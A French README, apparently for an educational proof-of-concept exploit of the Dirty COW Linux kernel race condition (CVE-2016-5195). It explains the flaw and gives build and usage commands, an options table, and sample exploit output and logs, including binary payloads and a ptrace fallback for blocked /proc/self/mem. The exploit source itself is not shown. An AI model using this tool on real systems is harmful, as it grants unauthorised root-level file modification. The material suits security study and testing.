
PoC éducatif pour Dirty COW (CVE-2016-5195) avec journalisation, repli ptrace et support de payload binaire.
Ce code est fourni UNIQUEMENT À DES FINS ÉDUCATIVES. Toute utilisation malveillante est strictement interdite et illégale.
Dirty COW (CVE-2016-5195) est une vulnérabilité d'élévation de privilèges dans le noyau Linux qui exploite une condition de course (race condition) dans le mécanisme de copie sur écriture (copy-on-write, COW) du noyau. Cette vulnérabilité affecte les noyaux Linux de la version 2.6.22 (sortie en 2007) jusqu'aux versions antérieures à :
La vulnérabilité se produit dans le système de gestion de la mémoire du noyau :
MAP_PRIVATE, les modifications doivent créer une copie privée.madvise(MADV_DONTNEED) et l'écriture dans /proc/self/mem./etc/passwd.N'exécutez JAMAIS ceci sur des systèmes de production ou des systèmes qui ne vous appartiennent pas !
# 1. Vérifiez d'abord la version du noyau
uname -r
# 2. Créez un répertoire de test isolé
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Testez uniquement avec des fichiers inoffensifs
./main -t /tmp/test_file -v
# 4. Surveillez les ressources système
top -p $(pgrep -f main)
# Installez les paquets nécessaires (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Installez les paquets nécessaires (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Compilation standard
make
# Version de débogage
make main-debug
# Compilation manuelle
gcc -o main main.c -lpthread -lssl -lcrypto
# Test simple avec paramètres par défaut
./main
# Mode verbeux avec cible personnalisée
./main -t /tmp/testfile -v
# Utilisation avancée avec plusieurs processus
./main -t /tmp/target -n 4 -r 3 -D -v
# Payload binaire depuis un fichier
./main -f payload.bin -P -D -n 2
| Option | Description | Défaut | Max |
|---|---|---|---|
-t <fichier> | Chemin du fichier cible | /tmp/dirty_cow_test | - |
-p <payload> | Payload texte personnalisé | Chaîne de test | - |
-f <fichier> | Charger un payload binaire depuis un fichier | - | - |
-i <nombre> | Nombre d'itérations | 10 000 000 | 100 000 000 |
-n <nombre> | Nombre de processus parallèles | 1 | 8 |
-r <nombre> | Tentatives de réessai | 1 | 10 |
-P | Utiliser ptrace au lieu de /proc/self/mem | Désactivé | - |
-D | Activer le balayage dynamique d'offset | Désactivé | - |
-v | Sortie verbeuse | Désactivé | - |
-l <fichier> | Chemin du fichier journal | exploit_log.txt | - |
-h | Afficher l'aide | - | - |
/proc/self/mem (par défaut)ptrace(PTRACE_POKETEXT) pour les systèmes restreintsScanne plusieurs offsets mémoire pour trouver la meilleure position d'écriture :
./main -D -v # Activer le balayage dynamique d'offset
Lancez plusieurs processus pour des conditions de course intenses :
./main -n 4 # Utiliser 4 processus parallèles
Chargez des données binaires arbitraires depuis des fichiers :
# Créer un payload binaire
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Utiliser le payload binaire
./main -f payload.bin -v
Réessayez automatiquement les tentatives échouées :
./main -r 5 # Réessayer jusqu'à 5 fois
Utilise le hachage SHA-256 pour vérifier les modifications des fichiers :
# Vérifier les hachages du fichier original vs modifié
./main -v # Affiche la comparaison des hachages en mode verbeux
Dirty COW PoC Éducatif (CVE-2016-5195)
==========================================
=== INFORMATIONS SYSTÈME ===
Version du noyau : Linux 4.4.0-generic
Architecture : x86_64
Utilisateur actuel : testuser
UID/GID : 1000/1000
=== VÉRIFICATION DE LA VULNÉRABILITÉ ===
Noyau : Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== DÉBUT DU TEST ===
=== EXÉCUTION DE L'EXPLOIT ===
[+] Cible : /tmp/dirty_cow_test
[+] Longueur du payload : 32 octets
[+] Itérations : 10000000
[+] Processus : 1
[+] Méthode : /proc/self/mem
[+] Offset dynamique : désactivé
[+] Sauvegarde créée : /tmp/dirty_cow_test.backup
[+] Contenu original : contenu-original-avant-exploit
[+] Début du test de condition de course...
[+] EXPLOIT RÉUSSI à la tentative 1 !
[+] Le hachage du fichier a changé - modification confirmée !
[+] Original : a1b2c3d4e5f6...
[+] Final : f6e5d4c3b2a1...
=== TEST RÉUSSI ===
[+] Modification du fichier terminée
[+] Objectif éducatif atteint
[+] Statistiques : 156789 écritures, 1 réussie, 2.347 sec
L'outil crée des journaux détaillés dans exploit_log.txt :
[2024-01-15 10:30:45] Informations système - UID/GID : 1000/1000
[2024-01-15 10:30:45] Version du noyau : Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Démarrage de l'exploit - Cible : /tmp/test, Payload : 32 octets
[2024-01-15 10:30:47] EXPLOIT RÉUSSI à la tentative 1
[2024-01-15 10:30:47] Statistiques finales - Écritures : 156789, Réussies : 1, Durée : 2.347 sec
# Test de la fonctionnalité de base de l'exploit
./main -t /tmp/basic_test -v
# Test de condition de course haute intensité
./main -i 50000000 -n 4 -r 3 -D -v
# Test lorsque /proc/self/mem est bloqué
./main -P -D -v
# Test avec des données binaires contenant des octets nuls
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
L'exploit fonctionne en créant une compétition entre deux opérations :
madvise(MADV_DONTNEED) – Indique au noyau de supprimer les pages mémoire/proc/self/mem – Tente d'écrire dans la mémoire mappéeMAP_PRIVATE